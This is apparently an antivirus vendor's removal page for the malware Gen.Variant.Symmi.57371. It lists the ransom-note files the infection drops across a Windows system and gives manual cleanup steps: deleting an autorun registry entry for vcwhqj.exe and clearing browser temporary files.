%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
C:\totalcmd\REGISTER.RTF (421 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel4.xls (419 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\ip[1].htm (15 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (1181 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.html (5 bytes)
%System%\config\SOFTWARE.LOG (4934 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword.doc (426 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (502 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "%Documents and Settings%\%current user%\Application Data\vcwhqj.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Gen.Variant.Symmi.57371_00d88cb7c0

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Gen.Variant.Symmi.57371_00d88cb7c0

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet